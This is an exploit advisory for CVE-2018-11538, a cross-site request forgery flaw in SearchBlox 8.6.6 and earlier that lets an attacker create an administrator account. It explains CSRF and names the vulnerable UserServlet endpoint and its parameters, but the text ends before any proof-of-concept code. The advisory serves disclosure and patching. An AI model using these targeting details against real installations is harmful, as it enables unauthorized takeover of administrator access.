• # Exploit Title: CSRF Privilege Escalation (Creation of an administrator
  account) on SearchBlox 8.6.6
  # Exploit Author: Canberk BOLAT, Ahmet GÜREL
  # Software Link: https://www.searchblox.com/
  # Version: < = SearchBlox Version 8.6.6
  # Platform: Java
  # Tested on: Windows
  # CVE: CVE-2018-11538
  
  # 1. DETAILS
  
  Using Cross-Site Request Forgery (CSRF), an attacker can force a user who
  is currently authenticated with a web application to execute an unwanted
  action. The attacker can trick the user into loading a page which may send
  a request to perform the unwanted action in the background. In the case of
  Searchblox, we can use CSRF to perform actions on the admin dashboard by
  targeting an administrator.
  
  # 2. PoC:
  
  We assume that Searchblox is installed at http://localhost:8080/. Our
  target is /searchblox/servlet/UserServlet u_name, u_passwd1, u_passwd2 and
  role parameter which is the page used to create a new user. The given POC
  will create a user on the website which has full administrator privileges.
